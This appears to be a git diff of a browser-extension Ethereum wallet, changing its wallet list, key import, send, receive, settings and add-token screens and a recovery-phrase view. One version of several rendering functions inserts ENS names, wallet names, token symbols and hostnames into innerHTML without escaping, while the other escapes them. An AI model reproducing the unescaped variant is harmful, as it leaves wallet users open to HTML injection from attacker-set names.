const defect = walletDefect(wallet);
html += `<div>`;
html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${escapeHtml(wallet.name)}</span>`;
// No "+" on a defective wallet: deriving another address from that
// xpub would only add one more address the key does not produce
// under the standard path.
if (!defect && (wallet.type === "hd" || wallet.type === "xprv")) {
html += `<button class="btn-add-address border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-wallet="${wi}" title="Add another address to this wallet">+</button>`;
}
html += `</div>`;
html += walletDefectHtml(wallet);
wallet.addresses.forEach((addr, ai) => {
html += `<div class="address-row py-1 border-b border-border-light cursor-pointer hover:bg-hover" data-wallet="${wi}" data-address="${ai}">`;
const isActive = state.activeAddress === addr.address;
const infoBtn = `<span class="btn-addr-info text-xs cursor-pointer border border-border hover:bg-fg hover:text-bg" style="padding:0" data-wallet="${wi}" data-address="${ai}">[info]</span>`;
// Only where a wallet can spare the address: a wallet holding a
// single address has no remove control, because its last address
// is never removable.
const removeBtn = canRemoveAddress(wallet)
? `<span class="btn-remove-address text-xs cursor-pointer border border-border hover:bg-fg hover:text-bg ml-1" style="padding:0" data-wallet="${wi}" data-address="${ai}" title="Remove this address from the wallet">[x]</span>`
: "";
const dot = addressDotHtml(addr.address);
const titleBold = isActive ? "font-bold" : "";
html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
if (addr.ensName) {
// An ENS reverse record is whatever the name owner set it
// to; renderAddressHtml() escapes its own copy of this and
// this list was the one that did not.
html += `<div class="text-xs font-bold flex items-center">${dot}${escapeHtml(addr.ensName)}</div>`;
}
html += `<div class="flex text-xs items-center justify-between">`;
html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${escapeHtml(addr.address)}</span>`;
html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`;
html += `</div>`;
const addrTotal = formatAddressTotal(getAddressValue(addr));
html += `<div class="text-xs text-muted text-right min-h-[1rem]">${addrTotal || "&nbsp;"}</div>`;
html += balanceLinesForAddress(
addr,
state.trackedTokens,
state.showZeroBalanceTokens,
);
html += `</div>`;
});
html += `</div>`;
});
return html;
}
function render(ctx) {
const container = $("wallet-list");
if (state.wallets.length === 0) {
@@ -288,7 +234,43 @@ function render(ctx) {
return;
}
container.innerHTML = walletListHtml();
let html = "";
state.wallets.forEach((wallet, wi) => {
html += `<div>`;
html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${wallet.name}</span>`;
if (wallet.type === "hd") {
html += `<button class="btn-add-address border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-wallet="${wi}" title="Add another address to this wallet">+</button>`;
}
html += `</div>`;
wallet.addresses.forEach((addr, ai) => {
html += `<div class="address-row py-1 border-b border-border-light cursor-pointer hover:bg-hover" data-wallet="${wi}" data-address="${ai}">`;
const isActive = state.activeAddress === addr.address;
const infoBtn = `<span class="btn-addr-info text-xs cursor-pointer border border-border hover:bg-fg hover:text-bg" style="padding:0" data-wallet="${wi}" data-address="${ai}">[info]</span>`;
const dot = addressDotHtml(addr.address);
const titleBold = isActive ? "font-bold" : "";
html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
if (addr.ensName) {
html += `<div class="text-xs font-bold flex items-center">${dot}${addr.ensName}</div>`;
}
html += `<div class="flex text-xs items-center justify-between">`;
html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${addr.address}</span>`;
html += `<span class="flex-shrink-0 ml-1">${infoBtn}</span>`;
html += `</div>`;
const addrUsd = formatUsd(getAddressValueUsd(addr));
html += `<div class="text-xs text-muted text-right min-h-[1rem]">${addrUsd || "&nbsp;"}</div>`;
html += balanceLinesForAddress(
addr,
state.trackedTokens,
state.showZeroBalanceTokens,
);
html += `</div>`;
});
html += `</div>`;
});
container.innerHTML = html;
container.querySelectorAll(".address-row").forEach((row) => {
row.addEventListener("click", async () => {
@@ -299,7 +281,11 @@ function render(ctx) {
state.activeAddress = addr;
await saveState();
render(ctx);
notify({ type: "AUTISTMASK_ACTIVE_CHANGED" });
const runtime =
typeof browser !== "undefined"
? browser.runtime
: chrome.runtime;
runtime.sendMessage({ type: "AUTISTMASK_ACTIVE_CHANGED" });
}
});
});
@@ -313,16 +299,6 @@ function render(ctx) {
});
});
container.querySelectorAll(".btn-remove-address").forEach((btn) => {
btn.addEventListener("click", (e) => {
e.stopPropagation();
ctx.showDeleteAddress(
parseInt(btn.dataset.wallet, 10),
parseInt(btn.dataset.address, 10),
);
});
});
container.querySelectorAll(".btn-add-address").forEach((btn) => {
btn.addEventListener("click", async (e) => {
e.stopPropagation();
@@ -382,13 +358,6 @@ function render(ctx) {
loadHomeTxs(ctx);
}
// The defect of the wallet the selected address belongs to, or null. Call
// after selectActiveAddress().
function selectedWalletDefect() {
if (state.selectedWallet === null) return null;
return walletDefect(state.wallets[state.selectedWallet]);
}
function selectActiveAddress() {
for (let wi = 0; wi < state.wallets.length; wi++) {
for (let ai = 0; ai < state.wallets[wi].addresses.length; ai++) {
@@ -412,13 +381,6 @@ function init(ctx) {
showFlash("No active address selected.");
return;
}
// Before the balance check and before any password is asked for: this
// wallet cannot sign at all, so the send screen is a dead end.
const defect = selectedWalletDefect();
if (defect) {
showFlash(defect.shortMessage);
return;
}
const addr = currentAddress();
if (!addr.balance || parseFloat(addr.balance) === 0) {
showFlash("Cannot send \u2014 zero balance.");
@@ -431,7 +393,6 @@ function init(ctx) {
renderSendTokenSelect(addr);
updateSendBalance();
resetSendValidation();
pushCurrentView();
showView("send");
});
@@ -444,4 +405,4 @@ function init(ctx) {
});
}
module.exports = { init, render, walletListHtml };
module.exports = { init, render };

View File

@@ -0,0 +1,73 @@
const { $, showView, showError, hideError } = require("./helpers");
const { addressFromPrivateKey } = require("../../shared/wallet");
const { encryptWithPassword } = require("../../shared/vault");
const { state, saveState } = require("../../shared/state");
function show() {
$("import-private-key").value = "";
$("import-key-password").value = "";
$("import-key-password-confirm").value = "";
hideError("import-key-error");
showView("import-key");
}
function init(ctx) {
$("btn-import-key-confirm").addEventListener("click", async () => {
const key = $("import-private-key").value.trim();
if (!key) {
showError("import-key-error", "Please enter your private key.");
return;
}
let addr;
try {
addr = addressFromPrivateKey(key);
} catch (e) {
showError("import-key-error", "Invalid private key.");
return;
}
const pw = $("import-key-password").value;
const pw2 = $("import-key-password-confirm").value;
if (!pw) {
showError("import-key-error", "Please choose a password.");
return;
}
if (pw.length < 12) {
showError(
"import-key-error",
"Password must be at least 12 characters.",
);
return;
}
if (pw !== pw2) {
showError("import-key-error", "Passwords do not match.");
return;
}
const encrypted = await encryptWithPassword(key, pw);
const walletNum = state.wallets.length + 1;
state.wallets.push({
type: "key",
name: "Wallet " + walletNum,
encryptedSecret: encrypted,
addresses: [
{ address: addr, balance: "0.0000", tokenBalances: [] },
],
});
state.hasWallet = true;
await saveState();
ctx.renderWalletList();
showView("main");
ctx.doRefreshAndRender();
});
$("btn-import-key-back").addEventListener("click", () => {
if (!state.hasWallet) {
showView("welcome");
} else {
ctx.renderWalletList();
showView("main");
}
});
}
module.exports = { init, show };

View File

@@ -2,16 +2,19 @@ const {
$,
showView,
showFlash,
flashCopyFeedback,
formatAddressHtml,
addressTitle,
displaySymbol,
attachCopyHandlers,
goBack,
} = require("./helpers");
const { state, currentAddress, currentNetwork } = require("../../shared/state");
const { state, currentAddress } = require("../../shared/state");
const QRCode = require("qrcode");
const EXT_ICON =
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`;
function show() {
const addr = currentAddress();
const address = addr ? addr.address : "";
@@ -21,8 +24,10 @@ function show() {
? formatAddressHtml(address, ensName, null, title)
: "";
$("receive-address-block").dataset.full = address;
// Etherscan link is now included in formatAddressHtml via renderAddressHtml
$("receive-etherscan-link").innerHTML = "";
const link = address ? `https://etherscan.io/address/${address}` : "";
$("receive-etherscan-link").innerHTML = link
? `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`
: "";
if (address) {
QRCode.toCanvas($("receive-qr"), address, {
width: 200,
@@ -45,31 +50,38 @@ function show() {
}
warningEl.textContent =
"This is an ERC-20 token. Only send " +
displaySymbol(symbol) +
" on " +
currentNetwork().name +
" to this address. Sending tokens on other networks will result in permanent loss.";
warningEl.style.visibility = "visible";
symbol +
" on the Ethereum network to this address. Sending tokens on other networks will result in permanent loss.";
warningEl.classList.remove("hidden");
} else {
warningEl.textContent = "";
warningEl.style.visibility = "hidden";
warningEl.classList.add("hidden");
}
showView("receive");
attachCopyHandlers("view-receive");
}
function init(_ctx) {
function init(ctx) {
$("receive-address-block").addEventListener("click", () => {
const addr = $("receive-address-block").dataset.full;
if (addr) {
navigator.clipboard.writeText(addr);
showFlash("Copied!");
}
});
$("btn-receive-copy").addEventListener("click", () => {
const addr = $("receive-address-block").dataset.full;
if (addr) {
navigator.clipboard.writeText(addr);
showFlash("Copied!");
flashCopyFeedback($("receive-address-block"));
}
});
$("btn-receive-back").addEventListener("click", () => {
goBack();
if (state.selectedToken) {
ctx.showAddressToken();
} else {
ctx.showAddressDetail();
}
});
}

View File

@@ -3,19 +3,14 @@
const {
$,
showFlash,
addressDotHtml,
addressTitle,
displaySymbol,
renderAddressHtml,
attachCopyHandlers,
goBack,
escapeHtml,
} = require("./helpers");
const { state, currentAddress } = require("../../shared/state");
let ctx;
const { getProvider } = require("../../shared/balances");
const { resolveTokenDecimals } = require("../../shared/approvalAmount");
const { resolveSymbol } = require("../../shared/tokenList");
const { isLowHolderCount } = require("../../shared/holders");
const { isSpoofedSymbol } = require("../../shared/symbolSpoof");
const { KNOWN_SYMBOLS, resolveSymbol } = require("../../shared/tokenList");
const { getAddress } = require("ethers");
const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000";
@@ -118,6 +113,21 @@ function updateToValidation() {
}
}
const EXT_ICON =
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`;
function isSpoofedToken(t) {
const upper = (t.symbol || "").toUpperCase();
if (!KNOWN_SYMBOLS.has(upper)) return false;
const legit = KNOWN_SYMBOLS.get(upper);
if (legit === null) return true;
return t.address.toLowerCase() !== legit;
}
function renderSendTokenSelect(addr) {
const sel = $("send-token");
sel.innerHTML = '<option value="ETH">ETH</option>';
@@ -125,15 +135,12 @@ function renderSendTokenSelect(addr) {
(state.fraudContracts || []).map((a) => a.toLowerCase()),
);
for (const t of addr.tokenBalances || []) {
if (isSpoofedSymbol(t.symbol, t.address)) continue;
if (isSpoofedToken(t)) continue;
if (fraudSet.has(t.address.toLowerCase())) continue;
// An unknown holder count does not withhold a token the user holds:
// only a count the explorer actually reported as below the threshold
// does. Otherwise a missing field makes a real asset unspendable.
if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue;
if (state.hideLowHolderTokens && (t.holders || 0) < 1000) continue;
const opt = document.createElement("option");
opt.value = t.address;
opt.textContent = displaySymbol(t.symbol);
opt.textContent = t.symbol;
sel.appendChild(opt);
}
}
@@ -141,12 +148,24 @@ function renderSendTokenSelect(addr) {
function updateSendBalance() {
const addr = currentAddress();
if (!addr) return;
const dot = addressDotHtml(addr.address);
const link = `https://etherscan.io/address/${addr.address}`;
const extLink = `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
const title = addressTitle(addr.address, state.wallets);
$("send-from").innerHTML = renderAddressHtml(addr.address, {
title,
ensName: addr.ensName,
});
attachCopyHandlers($("send-from"));
let fromHtml = "";
if (title) {
fromHtml += `<div class="flex items-center font-bold">${dot}${escapeHtml(title)}</div>`;
if (addr.ensName) {
fromHtml += `<div>${escapeHtml(addr.ensName)}</div>`;
}
fromHtml += `<div class="break-all">${escapeHtml(addr.address)}${extLink}</div>`;
} else if (addr.ensName) {
fromHtml += `<div class="flex items-center font-bold">${dot}${escapeHtml(addr.ensName)}</div>`;
fromHtml += `<div class="break-all">${escapeHtml(addr.address)}${extLink}</div>`;
} else {
fromHtml += `<div class="flex items-center">${dot}<span class="break-all">${escapeHtml(addr.address)}</span>${extLink}</div>`;
}
$("send-from").innerHTML = fromHtml;
const token = state.selectedToken || $("send-token").value;
if (token === "ETH") {
$("send-balance").textContent =
@@ -160,14 +179,9 @@ function updateSendBalance() {
addr.tokenBalances,
state.trackedTokens,
);
// A null balance is a holding whose scale nothing knows. Saying "0"
// for it would be a claim about the amount; the send itself is
// refused later by transferAmountUnits() for the same missing scale.
const bal = tb ? tb.balance : "0";
const bal = tb ? tb.balance || "0" : "0";
$("send-balance").textContent =
bal == null
? "Current balance: unknown (" + symbol + ")"
: "Current balance: " + bal + " " + symbol;
"Current balance: " + bal + " " + symbol;
}
}
@@ -208,7 +222,7 @@ function init(_ctx) {
let ensName = null;
if (to.includes(".") && !to.startsWith("0x")) {
try {
const provider = getProvider(state.rpcUrl, state.networkId);
const provider = getProvider(state.rpcUrl);
const resolved = await provider.resolveName(to);
if (!resolved) {
showFlash("Could not resolve " + to);
@@ -216,7 +230,7 @@ function init(_ctx) {
}
resolvedTo = resolved;
ensName = to;
} catch {
} catch (e) {
showFlash("Failed to resolve ENS name.");
return;
}
@@ -227,11 +241,6 @@ function init(_ctx) {
let tokenSymbol = null;
let tokenBalance = null;
// The scale the amount and the balance below are rendered at, carried
// forward so the transfer is encoded with the number the user read
// rather than with whatever the contract answers at signing time. See
// src/shared/transferAmount.js.
let tokenDecimals = null;
if (token !== "ETH") {
const tb = (addr.tokenBalances || []).find(
(t) => t.address.toLowerCase() === token.toLowerCase(),
@@ -241,26 +250,7 @@ function init(_ctx) {
addr.tokenBalances,
state.trackedTokens,
);
// null carried through rather than flattened to "0": the confirm
// screen states an unknown balance as unknown, and
// validateTransfer() treats it as no balance to spend from, which
// is the fail-closed side of an amount nobody can check.
tokenBalance = tb ? (tb.balance ?? null) : "0";
// Resolved the same way balances.js resolved the scale it
// DISPLAYED this token's balance at: bundled list, then the user's
// tracked tokens, then the explorer. The stored
// tokenBalances[].decimals is the explorer's own answer alone, so
// reading it raw carries a null forward for a token the wallet
// does know the scale of — and displayedDecimals() then throws
// inside estimateGas(), which the confirmation screen reports as
// an unestimable fee. Unsendable, over a scale that was never in
// doubt (https://git.eeqj.de/sneak/AutistMask/issues/349).
// Still null when nothing knows: no fallback, and the unknown
// path below is then the real one.
tokenDecimals = resolveTokenDecimals(token, {
trackedTokens: state.trackedTokens,
wallets: state.wallets,
});
tokenBalance = tb ? tb.balance || "0" : "0";
}
ctx.showConfirmTx({
@@ -272,14 +262,17 @@ function init(_ctx) {
balance: addr.balance,
tokenSymbol: tokenSymbol,
tokenBalance: tokenBalance,
tokenDecimals: tokenDecimals,
});
});
$("btn-send-back").addEventListener("click", () => {
$("send-token").classList.remove("hidden");
$("send-token-static").classList.add("hidden");
goBack();
if (state.selectedToken) {
ctx.showAddressToken();
} else {
ctx.showAddressDetail();
}
});
}

View File

@@ -1,38 +1,11 @@
const {
$,
showView,
updateDebugBanner,
showFlash,
escapeHtml,
displaySymbol,
flashCopyFeedback,
goBack,
pushCurrentView,
} = require("./helpers");
const { applyTheme } = require("../theme");
const {
DUST_THRESHOLD_MESSAGE,
parseDustThresholdGwei,
} = require("../dustThreshold");
const { state, saveState, currentNetwork } = require("../../shared/state");
const { onChainSwitch } = require("../../shared/chainSwitch");
const { log, debugFetch, setRuntimeDebug } = require("../../shared/log");
const { $, showView, showFlash, escapeHtml } = require("./helpers");
const { state, saveState } = require("../../shared/state");
const { ETHEREUM_MAINNET_CHAIN_ID } = require("../../shared/constants");
const { log, debugFetch } = require("../../shared/log");
const deleteWallet = require("./deleteWallet");
const showPhrase = require("./showPhrase");
const { walletHasRecoveryPhrase } = require("../../shared/wallet");
const {
BUILD_VERSION,
BUILD_LICENSE,
BUILD_AUTHOR,
BUILD_COMMIT,
BUILD_DATE,
GITEA_COMMIT_URL,
} = require("../../shared/buildInfo");
const { notify } = require("../../shared/browserApi");
let versionClickCount = 0;
let versionClickTimer = null;
const runtime =
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
function renderSiteList(containerId, siteMap, stateKey) {
const container = $(containerId);
@@ -44,11 +17,8 @@ function renderSiteList(containerId, siteMap, stateKey) {
let html = "";
hostnames.forEach((hostname) => {
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
// A hostname the URL parser produced cannot carry a delimiter, so
// this is escaped for the rule rather than for a known hole — the
// rule being that nothing reaches innerHTML unescaped.
html += `<span>${escapeHtml(hostname)}</span>`;
html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${escapeHtml(stateKey)}" data-hostname="${escapeHtml(hostname)}">[x]</button>`;
html += `<span>${hostname}</span>`;
html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${stateKey}" data-hostname="${hostname}">[x]</button>`;
html += `</div>`;
});
container.innerHTML = html;
@@ -63,7 +33,7 @@ function renderSiteList(containerId, siteMap, stateKey) {
}
}
await saveState();
notify({ type: "AUTISTMASK_REMOVE_SITE" });
runtime.sendMessage({ type: "AUTISTMASK_REMOVE_SITE" });
renderSiteList(containerId, state[key], key);
});
});
@@ -77,10 +47,9 @@ function renderTrackedTokens() {
}
let html = "";
state.trackedTokens.forEach((token, idx) => {
const sym = escapeHtml(displaySymbol(token.symbol));
const label = token.name
? escapeHtml(token.name) + " (" + sym + ")"
: sym;
? escapeHtml(token.name) + " (" + escapeHtml(token.symbol) + ")"
: escapeHtml(token.symbol);
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
html += `<span>${label}</span>`;
html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;
@@ -108,34 +77,17 @@ function renderWalletListSettings() {
const name = escapeHtml(wallet.name || "Wallet " + (idx + 1));
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
html += `<span class="settings-wallet-name cursor-pointer underline decoration-dashed" data-idx="${idx}">${name}</span>`;
html += `<span class="flex items-center gap-1 flex-shrink-0">`;
// Key and xprv wallets have no recovery phrase, so they are never
// offered the action at all.
if (walletHasRecoveryPhrase(wallet)) {
html += `<button class="btn-show-phrase border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}" title="Show recovery phrase">[recovery phrase]</button>`;
}
html += `<button class="btn-delete-wallet border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;
html += `</span>`;
html += `</div>`;
});
container.innerHTML = html;
container.querySelectorAll(".btn-delete-wallet").forEach((btn) => {
btn.addEventListener("click", () => {
const idx = parseInt(btn.dataset.idx, 10);
pushCurrentView();
deleteWallet.show(idx);
});
});
container.querySelectorAll(".btn-show-phrase").forEach((btn) => {
btn.addEventListener("click", () => {
const idx = parseInt(btn.dataset.idx, 10);
// No pushCurrentView() here: showPhrase.show() refuses
// non-HD wallets and pushes only when it navigates.
showPhrase.show(idx);
});
});
// Inline rename on click
container.querySelectorAll(".settings-wallet-name").forEach((span) => {
span.addEventListener("click", () => {
@@ -172,33 +124,10 @@ function renderWalletListSettings() {
function show() {
$("settings-rpc").value = state.rpcUrl;
$("settings-blockscout").value = state.blockscoutUrl;
$("settings-network").value = state.networkId;
renderTrackedTokens();
renderSiteLists();
renderWalletListSettings();
// Populate About well
$("about-license").textContent = BUILD_LICENSE;
// Show only the name part of the author field (strip email)
const authorName = BUILD_AUTHOR.replace(/\s*<[^>]+>/, "");
$("about-author").textContent = authorName;
$("about-version").textContent = BUILD_VERSION;
$("about-release-date").textContent = BUILD_DATE;
$("about-commit-link").textContent = BUILD_COMMIT;
$("about-commit-link").href = GITEA_COMMIT_URL;
// Reset version click counter each time settings opens
versionClickCount = 0;
// Show debug well if debug mode is already enabled
const debugWell = $("settings-debug-well");
if (state.debugMode) {
debugWell.style.display = "";
} else {
debugWell.style.display = "none";
}
$("settings-debug-mode").checked = state.debugMode;
showView("settings");
}
@@ -213,7 +142,6 @@ function renderSiteLists() {
function init(ctx) {
deleteWallet.init(ctx);
showPhrase.init();
$("btn-save-rpc").addEventListener("click", async () => {
const url = $("settings-rpc").value.trim();
@@ -239,12 +167,9 @@ function init(ctx) {
showFlash("Endpoint returned error: " + json.error.message);
return;
}
const net = currentNetwork();
if (json.result !== net.chainId) {
if (json.result !== ETHEREUM_MAINNET_CHAIN_ID) {
showFlash(
"Wrong network (expected " +
net.name +
", got chain " +
"Wrong network (expected mainnet, got chain " +
json.result +
").",
);
@@ -283,34 +208,12 @@ function init(ctx) {
showFlash("Saved.");
});
const networkSelect = $("settings-network");
networkSelect.addEventListener("change", async () => {
const newId = networkSelect.value;
const net = await onChainSwitch(newId);
$("settings-rpc").value = state.rpcUrl;
$("settings-blockscout").value = state.blockscoutUrl;
showFlash("Switched to " + net.name + ".");
});
$("settings-show-zero-balances").checked = state.showZeroBalanceTokens;
$("settings-show-zero-balances").addEventListener("change", async () => {
state.showZeroBalanceTokens = $("settings-show-zero-balances").checked;
await saveState();
});
$("settings-theme").value = state.theme;
$("settings-theme").addEventListener("change", async () => {
state.theme = $("settings-theme").value;
await saveState();
applyTheme(state.theme);
});
$("settings-hide-spoofed-symbols").checked = state.hideSpoofedSymbols;
$("settings-hide-spoofed-symbols").addEventListener("change", async () => {
state.hideSpoofedSymbols = $("settings-hide-spoofed-symbols").checked;
await saveState();
});
$("settings-hide-low-holders").checked = state.hideLowHolderTokens;
$("settings-hide-low-holders").addEventListener("change", async () => {
state.hideLowHolderTokens = $("settings-hide-low-holders").checked;
@@ -331,24 +234,11 @@ function init(ctx) {
$("settings-dust-threshold").value = state.dustThresholdGwei;
$("settings-dust-threshold").addEventListener("change", async () => {
const val = parseDustThresholdGwei($("settings-dust-threshold").value);
// Rejected input is never coerced. The field is put back to the
// stored threshold so it never shows a value the wallet is not
// using, and the message says what the field wants so the snap-back
// is explained rather than silent.
if (val === null) {
showFlash(DUST_THRESHOLD_MESSAGE);
} else {
const val = parseInt($("settings-dust-threshold").value, 10);
if (!isNaN(val) && val >= 0) {
state.dustThresholdGwei = val;
await saveState();
}
$("settings-dust-threshold").value = state.dustThresholdGwei;
});
$("settings-utc-timestamps").checked = state.utcTimestamps;
$("settings-utc-timestamps").addEventListener("change", async () => {
state.utcTimestamps = $("settings-utc-timestamps").checked;
await saveState();
});
$("btn-main-add-wallet").addEventListener("click", ctx.showAddWalletView);
@@ -358,68 +248,9 @@ function init(ctx) {
ctx.showSettingsAddTokenView,
);
// Bright saturated colors for easter egg flashes (clicks 610)
const easterEggColors = [
"#ff0055", // hot pink
"#00cc44", // vivid green
"#3366ff", // electric blue
"#ff9900", // bright orange
"#aa00ff", // vivid purple
];
// Easter egg: click version 10 times to reveal the debug well.
// Each click does a copy-flash animation. After 5 clicks, each
// additional click flashes a different bright saturated color.
$("about-version").addEventListener("click", () => {
versionClickCount++;
clearTimeout(versionClickTimer);
// Reset counter if user stops clicking for 3 seconds
versionClickTimer = setTimeout(() => {
versionClickCount = 0;
}, 3000);
const el = $("about-version");
if (versionClickCount > 5) {
// Colored flash for clicks 610
const colorIdx = versionClickCount - 6;
const color = easterEggColors[colorIdx % easterEggColors.length];
el.classList.remove("copy-flash-fade");
el.style.backgroundColor = color;
el.style.color = "#ffffff";
setTimeout(() => {
el.style.backgroundColor = "";
el.style.color = "";
el.classList.add("copy-flash-fade");
setTimeout(() => {
el.classList.remove("copy-flash-fade");
}, 275);
}, 75);
} else {
// Standard copy-flash for clicks 15
flashCopyFeedback(el);
}
if (versionClickCount >= 10) {
versionClickCount = 0;
clearTimeout(versionClickTimer);
$("settings-debug-well").style.display = "";
}
});
// Debug mode toggle — update runtime flag, persist, and re-render banner
$("settings-debug-mode").addEventListener("change", async () => {
state.debugMode = $("settings-debug-mode").checked;
setRuntimeDebug(state.debugMode);
await saveState();
updateDebugBanner(state.currentView);
});
// Sync runtime debug flag on init
setRuntimeDebug(state.debugMode);
$("btn-settings-back").addEventListener("click", () => {
goBack();
ctx.renderWalletList();
showView("main");
});
}

View File

@@ -1,4 +1,4 @@
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
const { $, showView, showFlash } = require("./helpers");
const { getTopTokens } = require("../../shared/tokenList");
const { state, saveState } = require("../../shared/state");
const { lookupTokenInfo } = require("../../shared/balances");
@@ -26,11 +26,11 @@ function renderTop10() {
: "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs";
return (
`<button class="settings-addtoken-quick ${cls}"` +
` data-address="${escapeHtml(t.address)}"` +
` data-symbol="${escapeHtml(t.symbol)}"` +
` data-decimals="${escapeHtml(t.decimals)}"` +
` data-name="${escapeHtml(t.name || "")}"` +
`${tracked ? " disabled" : ""}>${escapeHtml(t.symbol)}</button>`
` data-address="${t.address}"` +
` data-symbol="${t.symbol}"` +
` data-decimals="${t.decimals}"` +
` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
`${tracked ? " disabled" : ""}>${t.symbol}</button>`
);
})
.join("");
@@ -62,19 +62,18 @@ function renderDropdown() {
const tracked = isTracked(t.address);
const label = tokenLabel(t) + (tracked ? " (tracked)" : "");
html +=
`<option value="${escapeHtml(t.address)}"` +
` data-symbol="${escapeHtml(t.symbol)}"` +
` data-decimals="${escapeHtml(t.decimals)}"` +
` data-name="${escapeHtml(t.name || "")}"` +
`${tracked ? " disabled" : ""}>${escapeHtml(label)}</option>`;
`<option value="${t.address}"` +
` data-symbol="${t.symbol}"` +
` data-decimals="${t.decimals}"` +
` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
`${tracked ? " disabled" : ""}>${label}</option>`;
}
sel.innerHTML = html;
}
function show() {
$("settings-addtoken-address").value = "";
$("settings-addtoken-info").textContent = "";
$("settings-addtoken-info").style.visibility = "hidden";
$("settings-addtoken-info").classList.add("hidden");
renderTop10();
renderDropdown();
showView("settings-addtoken");
@@ -84,7 +83,7 @@ function init(_ctx) {
ctx = _ctx;
$("btn-settings-addtoken-back").addEventListener("click", () => {
goBack();
ctx.showSettingsView();
});
$("btn-settings-addtoken-select").addEventListener("click", async () => {
@@ -130,14 +129,10 @@ function init(_ctx) {
}
const infoEl = $("settings-addtoken-info");
infoEl.textContent = "Looking up token...";
infoEl.style.visibility = "visible";
infoEl.classList.remove("hidden");
log.debugf("Looking up token contract", addr);
try {
const info = await lookupTokenInfo(
addr,
state.rpcUrl,
state.networkId,
);
const info = await lookupTokenInfo(addr, state.rpcUrl);
log.infof("Adding token", info.symbol, addr);
state.trackedTokens.push({
address: addr,
@@ -148,8 +143,7 @@ function init(_ctx) {
await saveState();
showFlash("Added " + info.symbol);
$("settings-addtoken-address").value = "";
infoEl.textContent = "";
infoEl.style.visibility = "hidden";
infoEl.classList.add("hidden");
renderTop10();
renderDropdown();
ctx.doRefreshAndRender();
@@ -157,8 +151,7 @@ function init(_ctx) {
const detail = e.shortMessage || e.message || String(e);
log.errorf("Token lookup failed for", addr, detail);
showFlash(detail);
infoEl.textContent = "";
infoEl.style.visibility = "hidden";
infoEl.classList.add("hidden");
}
});
}

View File

@@ -1,154 +0,0 @@
// Recovery phrase display for HD wallets.
//
// The phrase is the secret that owns every address in the wallet, so it is
// handled under four rules:
//
// 1. Only an HD wallet reaches this screen (walletHasRecoveryPhrase).
// 2. Nothing is decrypted, and nothing is written into the DOM, until
// decryptWithPassword has accepted the password.
// 3. Leaving the screen by any path wipes it, via the onViewLeave hook,
// and a decrypt still in flight when that happens is discarded
// instead of written (revealGeneration).
// 4. The phrase never reaches the logger. This module deliberately does
// not import src/shared/log.js, and the failed-decrypt path reports a
// fixed sentence rather than the caught error.
//
// The phrase is also never assigned to `state`, so it cannot be persisted
// to extension storage, and "show-phrase" is excluded from RESTORABLE_VIEWS
// so the popup can never reopen onto it.
const {
$,
showView,
showFlash,
flashCopyFeedback,
goBack,
onViewLeave,
pushCurrentView,
} = require("./helpers");
const { state } = require("../../shared/state");
const { decryptWithPassword } = require("../../shared/vault");
const { walletHasRecoveryPhrase } = require("../../shared/wallet");
const VIEW = "show-phrase";
let walletIndex = null;
// Bumped by every clear(), which is what leaving the screen runs. reveal()
// captures it before awaiting the decrypt and refuses to touch the DOM if
// it has moved: a decrypt still in flight when the screen is left would
// otherwise write the phrase *after* the wipe, with nothing scheduled to
// wipe it again, leaving it in the hidden view for the life of the popup.
let revealGeneration = 0;
// True only if the reveal that captured `generation` is still the live one:
// the screen has not been left, cleared, or re-entered for another wallet
// since it started.
function isCurrentReveal(generation) {
return (
generation === revealGeneration &&
walletIndex !== null &&
state.currentView === VIEW
);
}
function fail(message) {
$("show-phrase-flash").textContent = message;
$("show-phrase-flash").style.visibility = "visible";
}
// Wipe every trace of the phrase and drop the wallet selection. Safe to
// call when nothing was ever revealed, and safe to call twice.
function clear() {
walletIndex = null;
revealGeneration += 1;
$("show-phrase-value").textContent = "";
